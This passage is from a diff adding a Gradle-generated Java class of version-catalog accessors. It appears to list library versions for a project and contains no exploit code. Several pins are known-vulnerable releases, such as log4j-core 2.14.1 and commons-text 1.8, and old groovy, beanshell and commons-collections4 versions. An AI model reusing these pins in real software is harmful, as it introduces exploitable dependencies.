getJboss() { + return vaccForOrgJbossVersionAccessors; + } + + /** + * Group of versions at versions.org.jenkins + */ + public OrgJenkinsVersionAccessors getJenkins() { + return vaccForOrgJenkinsVersionAccessors; + } + + /** + * Group of versions at versions.org.ow2 + */ + public OrgOw2VersionAccessors getOw2() { + return vaccForOrgOw2VersionAccessors; + } + + /** + * Group of versions at versions.org.python + */ + public OrgPythonVersionAccessors getPython() { + return vaccForOrgPythonVersionAccessors; + } + + /** + * Group of versions at versions.org.reflections + */ + public OrgReflectionsVersionAccessors getReflections() { + return vaccForOrgReflectionsVersionAccessors; + } + + /** + * Group of versions at versions.org.springframework + */ + public OrgSpringframeworkVersionAccessors getSpringframework() { + return vaccForOrgSpringframeworkVersionAccessors; + } + + } + + public static class OrgApacheVersionAccessors extends VersionFactory { + + private final OrgApacheClickVersionAccessors vaccForOrgApacheClickVersionAccessors = new OrgApacheClickVersionAccessors(providers, config); + private final OrgApacheCommonsVersionAccessors vaccForOrgApacheCommonsVersionAccessors = new OrgApacheCommonsVersionAccessors(providers, config); + private final OrgApacheLoggingVersionAccessors vaccForOrgApacheLoggingVersionAccessors = new OrgApacheLoggingVersionAccessors(providers, config); + private final OrgApacheMavenVersionAccessors vaccForOrgApacheMavenVersionAccessors = new OrgApacheMavenVersionAccessors(providers, config); + private final OrgApacheMyfacesVersionAccessors vaccForOrgApacheMyfacesVersionAccessors = new OrgApacheMyfacesVersionAccessors(providers, config); + private final OrgApacheTomcatVersionAccessors vaccForOrgApacheTomcatVersionAccessors = new OrgApacheTomcatVersionAccessors(providers, config); + private final OrgApacheWicketVersionAccessors vaccForOrgApacheWicketVersionAccessors = new OrgApacheWicketVersionAccessors(providers, config); + public OrgApacheVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.click + */ + public OrgApacheClickVersionAccessors getClick() { + return vaccForOrgApacheClickVersionAccessors; + } + + /** + * Group of versions at versions.org.apache.commons + */ + public OrgApacheCommonsVersionAccessors getCommons() { + return vaccForOrgApacheCommonsVersionAccessors; + } + + /** + * Group of versions at versions.org.apache.logging + */ + public OrgApacheLoggingVersionAccessors getLogging() { + return vaccForOrgApacheLoggingVersionAccessors; + } + + /** + * Group of versions at versions.org.apache.maven + */ + public OrgApacheMavenVersionAccessors getMaven() { + return vaccForOrgApacheMavenVersionAccessors; + } + + /** + * Group of versions at versions.org.apache.myfaces + */ + public OrgApacheMyfacesVersionAccessors getMyfaces() { + return vaccForOrgApacheMyfacesVersionAccessors; + } + + /** + * Group of versions at versions.org.apache.tomcat + */ + public OrgApacheTomcatVersionAccessors getTomcat() { + return vaccForOrgApacheTomcatVersionAccessors; + } + + /** + * Group of versions at versions.org.apache.wicket + */ + public OrgApacheWicketVersionAccessors getWicket() { + return vaccForOrgApacheWicketVersionAccessors; + } + + } + + public static class OrgApacheClickVersionAccessors extends VersionFactory { + + private final OrgApacheClickClickVersionAccessors vaccForOrgApacheClickClickVersionAccessors = new OrgApacheClickClickVersionAccessors(providers, config); + public OrgApacheClickVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.click.click + */ + public OrgApacheClickClickVersionAccessors getClick() { + return vaccForOrgApacheClickClickVersionAccessors; + } + + } + + public static class OrgApacheClickClickVersionAccessors extends VersionFactory { + + public OrgApacheClickClickVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.apache.click.click.nodeps with value 2.3.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getNodeps() { return getVersion("org.apache.click.click.nodeps"); } + + } + + public static class OrgApacheCommonsVersionAccessors extends VersionFactory { + + private final OrgApacheCommonsCommonsVersionAccessors vaccForOrgApacheCommonsCommonsVersionAccessors = new OrgApacheCommonsCommonsVersionAccessors(providers, config); + public OrgApacheCommonsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.commons.commons + */ + public OrgApacheCommonsCommonsVersionAccessors getCommons() { + return vaccForOrgApacheCommonsCommonsVersionAccessors; + } + + } + + public static class OrgApacheCommonsCommonsVersionAccessors extends VersionFactory { + + public OrgApacheCommonsCommonsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.apache.commons.commons.collections4 with value 4.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCollections4() { return getVersion("org.apache.commons.commons.collections4"); } + + /** + * Version alias org.apache.commons.commons.lang3 with value 3.12.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getLang3() { return getVersion("org.apache.commons.commons.lang3"); } + + /** + * Version alias org.apache.commons.commons.text with value 1.8 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getText() { return getVersion("org.apache.commons.commons.text"); } + + } + + public static class OrgApacheLoggingVersionAccessors extends VersionFactory { + + private final OrgApacheLoggingLog4jVersionAccessors vaccForOrgApacheLoggingLog4jVersionAccessors = new OrgApacheLoggingLog4jVersionAccessors(providers, config); + public OrgApacheLoggingVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.logging.log4j + */ + public OrgApacheLoggingLog4jVersionAccessors getLog4j() { + return vaccForOrgApacheLoggingLog4jVersionAccessors; + } + + } + + public static class OrgApacheLoggingLog4jVersionAccessors extends VersionFactory { + + private final OrgApacheLoggingLog4jLog4jVersionAccessors vaccForOrgApacheLoggingLog4jLog4jVersionAccessors = new OrgApacheLoggingLog4jLog4jVersionAccessors(providers, config); + public OrgApacheLoggingLog4jVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.logging.log4j.log4j + */ + public OrgApacheLoggingLog4jLog4jVersionAccessors getLog4j() { + return vaccForOrgApacheLoggingLog4jLog4jVersionAccessors; + } + + } + + public static class OrgApacheLoggingLog4jLog4jVersionAccessors extends VersionFactory { + + public OrgApacheLoggingLog4jLog4jVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.apache.logging.log4j.log4j.core with value 2.14.1 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("org.apache.logging.log4j.log4j.core"); } + + } + + public static class OrgApacheMavenVersionAccessors extends VersionFactory { + + private final OrgApacheMavenPluginsVersionAccessors vaccForOrgApacheMavenPluginsVersionAccessors = new OrgApacheMavenPluginsVersionAccessors(providers, config); + public OrgApacheMavenVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.maven.plugins + */ + public OrgApacheMavenPluginsVersionAccessors getPlugins() { + return vaccForOrgApacheMavenPluginsVersionAccessors; + } + + } + + public static class OrgApacheMavenPluginsVersionAccessors extends VersionFactory { + + private final OrgApacheMavenPluginsMavenVersionAccessors vaccForOrgApacheMavenPluginsMavenVersionAccessors = new OrgApacheMavenPluginsMavenVersionAccessors(providers, config); + public OrgApacheMavenPluginsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.maven.plugins.maven + */ + public OrgApacheMavenPluginsMavenVersionAccessors getMaven() { + return vaccForOrgApacheMavenPluginsMavenVersionAccessors; + } + + } + + public static class OrgApacheMavenPluginsMavenVersionAccessors extends VersionFactory { + + private final OrgApacheMavenPluginsMavenAssemblyVersionAccessors vaccForOrgApacheMavenPluginsMavenAssemblyVersionAccessors = new OrgApacheMavenPluginsMavenAssemblyVersionAccessors(providers, config); + public OrgApacheMavenPluginsMavenVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.maven.plugins.maven.assembly + */ + public OrgApacheMavenPluginsMavenAssemblyVersionAccessors getAssembly() { + return vaccForOrgApacheMavenPluginsMavenAssemblyVersionAccessors; + } + + } + + public static class OrgApacheMavenPluginsMavenAssemblyVersionAccessors extends VersionFactory { + + public OrgApacheMavenPluginsMavenAssemblyVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.apache.maven.plugins.maven.assembly.plugin with value 3.0.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getPlugin() { return getVersion("org.apache.maven.plugins.maven.assembly.plugin"); } + + } + + public static class OrgApacheMyfacesVersionAccessors extends VersionFactory { + + private final OrgApacheMyfacesCoreVersionAccessors vaccForOrgApacheMyfacesCoreVersionAccessors = new OrgApacheMyfacesCoreVersionAccessors(providers, config); + public OrgApacheMyfacesVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.myfaces.core + */ + public OrgApacheMyfacesCoreVersionAccessors getCore() { + return vaccForOrgApacheMyfacesCoreVersionAccessors; + } + + } + + public static class OrgApacheMyfacesCoreVersionAccessors extends VersionFactory { + + private final OrgApacheMyfacesCoreMyfacesVersionAccessors vaccForOrgApacheMyfacesCoreMyfacesVersionAccessors = new OrgApacheMyfacesCoreMyfacesVersionAccessors(providers, config); + public OrgApacheMyfacesCoreVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.myfaces.core.myfaces + */ + public OrgApacheMyfacesCoreMyfacesVersionAccessors getMyfaces() { + return vaccForOrgApacheMyfacesCoreMyfacesVersionAccessors; + } + + } + + public static class OrgApacheMyfacesCoreMyfacesVersionAccessors extends VersionFactory { + + public OrgApacheMyfacesCoreMyfacesVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.apache.myfaces.core.myfaces.impl with value 2.2.9 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getImpl() { return getVersion("org.apache.myfaces.core.myfaces.impl"); } + + } + + public static class OrgApacheTomcatVersionAccessors extends VersionFactory { + + private final OrgApacheTomcatEmbedVersionAccessors vaccForOrgApacheTomcatEmbedVersionAccessors = new OrgApacheTomcatEmbedVersionAccessors(providers, config); + private final OrgApacheTomcatTomcatVersionAccessors vaccForOrgApacheTomcatTomcatVersionAccessors = new OrgApacheTomcatTomcatVersionAccessors(providers, config); + public OrgApacheTomcatVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.tomcat.embed + */ + public OrgApacheTomcatEmbedVersionAccessors getEmbed() { + return vaccForOrgApacheTomcatEmbedVersionAccessors; + } + + /** + * Group of versions at versions.org.apache.tomcat.tomcat + */ + public OrgApacheTomcatTomcatVersionAccessors getTomcat() { + return vaccForOrgApacheTomcatTomcatVersionAccessors; + } + + } + + public static class OrgApacheTomcatEmbedVersionAccessors extends VersionFactory { + + private final OrgApacheTomcatEmbedTomcatVersionAccessors vaccForOrgApacheTomcatEmbedTomcatVersionAccessors = new OrgApacheTomcatEmbedTomcatVersionAccessors(providers, config); + public OrgApacheTomcatEmbedVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.tomcat.embed.tomcat + */ + public OrgApacheTomcatEmbedTomcatVersionAccessors getTomcat() { + return vaccForOrgApacheTomcatEmbedTomcatVersionAccessors; + } + + } + + public static class OrgApacheTomcatEmbedTomcatVersionAccessors extends VersionFactory { + + private final OrgApacheTomcatEmbedTomcatEmbedVersionAccessors vaccForOrgApacheTomcatEmbedTomcatEmbedVersionAccessors = new OrgApacheTomcatEmbedTomcatEmbedVersionAccessors(providers, config); + public OrgApacheTomcatEmbedTomcatVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.tomcat.embed.tomcat.embed + */ + public OrgApacheTomcatEmbedTomcatEmbedVersionAccessors getEmbed() { + return vaccForOrgApacheTomcatEmbedTomcatEmbedVersionAccessors; + } + + } + + public static class OrgApacheTomcatEmbedTomcatEmbedVersionAccessors extends VersionFactory { + + public OrgApacheTomcatEmbedTomcatEmbedVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.apache.tomcat.embed.tomcat.embed.core with value 8.5.58 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("org.apache.tomcat.embed.tomcat.embed.core"); } + + } + + public static class OrgApacheTomcatTomcatVersionAccessors extends VersionFactory { + + public OrgApacheTomcatTomcatVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.apache.tomcat.tomcat.websocket with value 9.0.62 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getWebsocket() { return getVersion("org.apache.tomcat.tomcat.websocket"); } + + } + + public static class OrgApacheWicketVersionAccessors extends VersionFactory { + + private final OrgApacheWicketWicketVersionAccessors vaccForOrgApacheWicketWicketVersionAccessors = new OrgApacheWicketWicketVersionAccessors(providers, config); + public OrgApacheWicketVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.wicket.wicket + */ + public OrgApacheWicketWicketVersionAccessors getWicket() { + return vaccForOrgApacheWicketWicketVersionAccessors; + } + + } + + public static class OrgApacheWicketWicketVersionAccessors extends VersionFactory { + + public OrgApacheWicketWicketVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.apache.wicket.wicket.util with value 6.23.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getUtil() { return getVersion("org.apache.wicket.wicket.util"); } + + } + + public static class OrgAspectjVersionAccessors extends VersionFactory { + + public OrgAspectjVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.aspectj.aspectjweaver with value 1.9.7 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getAspectjweaver() { return getVersion("org.aspectj.aspectjweaver"); } + + } + + public static class OrgBeanshellVersionAccessors extends VersionFactory { + + public OrgBeanshellVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.beanshell.bsh with value 2.0b5 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getBsh() { return getVersion("org.beanshell.bsh"); } + + } + + public static class OrgClojureVersionAccessors extends VersionFactory { + + public OrgClojureVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.clojure.clojure with value 1.8.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getClojure() { return getVersion("org.clojure.clojure"); } + + } + + public static class OrgCodehausVersionAccessors extends VersionFactory { + + private final OrgCodehausGroovyVersionAccessors vaccForOrgCodehausGroovyVersionAccessors = new OrgCodehausGroovyVersionAccessors(providers, config); + public OrgCodehausVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.codehaus.groovy + */ + public OrgCodehausGroovyVersionAccessors getGroovy() { + return vaccForOrgCodehausGroovyVersionAccessors; + } + + } + + public static class OrgCodehausGroovyVersionAccessors extends VersionFactory { + + public OrgCodehausGroovyVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.codehaus.groovy.groovy with value 2.4.5 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getGroovy() { return getVersion("org.codehaus.groovy.groovy"); } + + } + + public static class OrgEclipseVersionAccessors extends VersionFactory { + + private final OrgEclipseJettyVersionAccessors vaccForOrgEclipseJettyVersionAccessors = new OrgEclipseJettyVersionAccessors(providers, config); + public OrgEclipseVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.eclipse.jetty + */ + public OrgEclipseJettyVersionAccessors getJetty() { + return vaccForOrgEclipseJettyVersionAccessors; + } + + } + + public static class OrgEclipseJettyVersionAccessors extends VersionFactory { + + private final OrgEclipseJettyJettyVersionAccessors vaccForOrgEclipseJettyJettyVersionAccessors = new OrgEclipseJettyJettyVersionAccessors(providers, config); + public OrgEclipseJettyVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.eclipse.jetty.jetty + */ + public OrgEclipseJettyJettyVersionAccessors getJetty() { + return vaccForOrgEclipseJettyJettyVersionAccessors; + } + + } + + public static class OrgEclipseJettyJettyVersionAccessors extends VersionFactory { + + public OrgEclipseJettyJettyVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.eclipse.jetty.jetty.ant with value 11.0.7 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getAnt() { return getVersion("org.eclipse.jetty.jetty.ant"); } + + } + + public static class OrgFusesourceVersionAccessors extends VersionFactory { + + private final OrgFusesourceJansiVersionAccessors vaccForOrgFusesourceJansiVersionAccessors = new OrgFusesourceJansiVersionAccessors(providers, config); + public OrgFusesourceVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.fusesource.jansi + */ + public OrgFusesourceJansiVersionAccessors getJansi() { + return vaccForOrgFusesourceJansiVersionAccessors; + } + + } + + public static class OrgFusesourceJansiVersionAccessors extends VersionFactory { + + public OrgFusesourceJansiVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.fusesource.jansi.jansi with value 2.4.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getJansi() { return getVersion("org.fusesource.jansi.jansi"); } + + } + + public static class OrgGlassfishVersionAccessors extends VersionFactory { + + private final OrgGlassfishTyrusVersionAccessors vaccForOrgGlassfishTyrusVersionAccessors = new OrgGlassfishTyrusVersionAccessors(providers, config); + public OrgGlassfishVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.glassfish.tyrus + */ + public OrgGlassfishTyrusVersionAccessors getTyrus() { + return vaccForOrgGlassfishTyrusVersionAccessors; + } + + } + + public static class OrgGlassfishTyrusVersionAccessors extends VersionFactory { + + private final OrgGlassfishTyrusTyrusVersionAccessors vaccForOrgGlassfishTyrusTyrusVersionAccessors = new OrgGlassfishTyrusTyrusVersionAccessors(providers, config); + public OrgGlassfishTyrusVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.glassfish.tyrus.tyrus + */ + public OrgGlassfishTyrusTyrusVersionAccessors getTyrus() { + return vaccForOrgGlassfishTyrusTyrusVersionAccessors; + } + + } + + public static class OrgGlassfishTyrusTyrusVersionAccessors extends VersionFactory { + + public OrgGlassfishTyrusTyrusVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.glassfish.tyrus.tyrus.server with value 2.0.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getServer() { return getVersion("org.glassfish.tyrus.tyrus.server"); } + + } + + public static class OrgHibernateVersionAccessors extends VersionFactory { + + private final OrgHibernateHibernateVersionAccessors vaccForOrgHibernateHibernateVersionAccessors = new OrgHibernateHibernateVersionAccessors(providers, config); + public OrgHibernateVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.hibernate.hibernate + */ + public OrgHibernateHibernateVersionAccessors getHibernate() { + return vaccForOrgHibernateHibernateVersionAccessors; + } + + } + + public static class OrgHibernateHibernateVersionAccessors extends VersionFactory { + + public OrgHibernateHibernateVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.hibernate.hibernate.core with value 4.3.11.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("org.hibernate.hibernate.core"); } + + } + + public static class OrgJavassistVersionAccessors extends VersionFactory { + + public OrgJavassistVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.javassist.javassist with value 3.29.2-GA + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getJavassist() { return getVersion("org.javassist.javassist"); } + + } + + public static class OrgJbossVersionAccessors extends VersionFactory { + + private final OrgJbossInterceptorVersionAccessors vaccForOrgJbossInterceptorVersionAccessors = new OrgJbossInterceptorVersionAccessors(providers, config); + private final OrgJbossRemotingVersionAccessors vaccForOrgJbossRemotingVersionAccessors = new OrgJbossRemotingVersionAccessors(providers, config); + private final OrgJbossRemotingjmxVersionAccessors vaccForOrgJbossRemotingjmxVersionAccessors = new OrgJbossRemotingjmxVersionAccessors(providers, config); + private final OrgJbossSpecVersionAccessors vaccForOrgJbossSpecVersionAccessors = new OrgJbossSpecVersionAccessors(providers, config); + private final OrgJbossWeldVersionAccessors vaccForOrgJbossWeldVersionAccessors = new OrgJbossWeldVersionAccessors(providers, config); + public OrgJbossVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.interceptor + */ + public OrgJbossInterceptorVersionAccessors getInterceptor() { + return vaccForOrgJbossInterceptorVersionAccessors; + } + + /** + * Group of versions at versions.org.jboss.remoting + */ + public OrgJbossRemotingVersionAccessors getRemoting() { + return vaccForOrgJbossRemotingVersionAccessors; + } + + /** + * Group of versions at versions.org.jboss.remotingjmx + */ + public OrgJbossRemotingjmxVersionAccessors getRemotingjmx() { + return vaccForOrgJbossRemotingjmxVersionAccessors; + } + + /** + * Group of versions at versions.org.jboss.spec + */ + public OrgJbossSpecVersionAccessors getSpec() { + return vaccForOrgJbossSpecVersionAccessors; + } + + /** + * Group of versions at versions.org.jboss.weld + */ + public OrgJbossWeldVersionAccessors getWeld() { + return vaccForOrgJbossWeldVersionAccessors; + } + + } + + public static class OrgJbossInterceptorVersionAccessors extends VersionFactory { + + private final OrgJbossInterceptorJbossVersionAccessors vaccForOrgJbossInterceptorJbossVersionAccessors = new OrgJbossInterceptorJbossVersionAccessors(providers, config); + public OrgJbossInterceptorVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.interceptor.jboss + */ + public OrgJbossInterceptorJbossVersionAccessors getJboss() { + return vaccForOrgJbossInterceptorJbossVersionAccessors; + } + + } + + public static class OrgJbossInterceptorJbossVersionAccessors extends VersionFactory { + + private final OrgJbossInterceptorJbossInterceptorVersionAccessors vaccForOrgJbossInterceptorJbossInterceptorVersionAccessors = new OrgJbossInterceptorJbossInterceptorVersionAccessors(providers, config); + public OrgJbossInterceptorJbossVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.interceptor.jboss.interceptor + */ + public OrgJbossInterceptorJbossInterceptorVersionAccessors getInterceptor() { + return vaccForOrgJbossInterceptorJbossInterceptorVersionAccessors; + } + + } + + public static class OrgJbossInterceptorJbossInterceptorVersionAccessors extends VersionFactory { + + public OrgJbossInterceptorJbossInterceptorVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.jboss.interceptor.jboss.interceptor.core with value 2.0.0.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("org.jboss.interceptor.jboss.interceptor.core"); } + + /** + * Version alias org.jboss.interceptor.jboss.interceptor.spi with value 2.0.0.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getSpi() { return getVersion("org.jboss.interceptor.jboss.interceptor.spi"); } + + } + + public static class OrgJbossRemotingVersionAccessors extends VersionFactory { + + private final OrgJbossRemotingJbossVersionAccessors vaccForOrgJbossRemotingJbossVersionAccessors = new OrgJbossRemotingJbossVersionAccessors(providers, config); + public OrgJbossRemotingVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.remoting.jboss + */ + public OrgJbossRemotingJbossVersionAccessors getJboss() { + return vaccForOrgJbossRemotingJbossVersionAccessors; + } + + } + + public static class OrgJbossRemotingJbossVersionAccessors extends VersionFactory { + + public OrgJbossRemotingJbossVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.jboss.remoting.jboss.remoting with value 4.0.19.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getRemoting() { return getVersion("org.jboss.remoting.jboss.remoting"); } + + } + + public static class OrgJbossRemotingjmxVersionAccessors extends VersionFactory { + + private final OrgJbossRemotingjmxRemotingVersionAccessors vaccForOrgJbossRemotingjmxRemotingVersionAccessors = new OrgJbossRemotingjmxRemotingVersionAccessors(providers, config); + public OrgJbossRemotingjmxVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.remotingjmx.remoting + */ + public OrgJbossRemotingjmxRemotingVersionAccessors getRemoting() { + return vaccForOrgJbossRemotingjmxRemotingVersionAccessors; + } + + } + + public static class OrgJbossRemotingjmxRemotingVersionAccessors extends VersionFactory { + + public OrgJbossRemotingjmxRemotingVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.jboss.remotingjmx.remoting.jmx with value 2.0.1.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getJmx() { return getVersion("org.jboss.remotingjmx.remoting.jmx"); } + + } + + public static class OrgJbossSpecVersionAccessors extends VersionFactory { + + private final OrgJbossSpecJavaxVersionAccessors vaccForOrgJbossSpecJavaxVersionAccessors = new OrgJbossSpecJavaxVersionAccessors(providers, config); + public OrgJbossSpecVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.spec.javax + */ + public OrgJbossSpecJavaxVersionAccessors getJavax() { + return vaccForOrgJbossSpecJavaxVersionAccessors; + } + + } + + public static class OrgJbossSpecJavaxVersionAccessors extends VersionFactory { + + private final OrgJbossSpecJavaxSecurityVersionAccessors vaccForOrgJbossSpecJavaxSecurityVersionAccessors = new OrgJbossSpecJavaxSecurityVersionAccessors(providers, config); + public OrgJbossSpecJavaxVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.spec.javax.security + */ + public OrgJbossSpecJavaxSecurityVersionAccessors getSecurity() { + return vaccForOrgJbossSpecJavaxSecurityVersionAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityVersionAccessors extends VersionFactory { + + private final OrgJbossSpecJavaxSecurityJaccVersionAccessors vaccForOrgJbossSpecJavaxSecurityJaccVersionAccessors = new OrgJbossSpecJavaxSecurityJaccVersionAccessors(providers, config); + public OrgJbossSpecJavaxSecurityVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.spec.javax.security.jacc + */ + public OrgJbossSpecJavaxSecurityJaccVersionAccessors getJacc() { + return vaccForOrgJbossSpecJavaxSecurityJaccVersionAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccVersionAccessors extends VersionFactory { + + private final OrgJbossSpecJavaxSecurityJaccJbossVersionAccessors vaccForOrgJbossSpecJavaxSecurityJaccJbossVersionAccessors = new OrgJbossSpecJavaxSecurityJaccJbossVersionAccessors(providers, config); + public OrgJbossSpecJavaxSecurityJaccVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.jboss.spec.javax.security.jacc.jboss + */ + public OrgJbossSpecJavaxSecurityJaccJbossVersionAccessors getJboss() { + return vaccForOrgJbossSpecJavaxSecurityJaccJbossVersionAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccJbossVersionAccessors extends VersionFactory { + + private final OrgJbossSpecJavaxSecurityJaccJbossJaccVersionAccessors vaccForOrgJbossSpecJavaxSecurityJaccJbossJaccVersionAccessors = new OrgJbossSpecJavaxSecurityJaccJbossJaccVersionAccessors(providers, config); + public 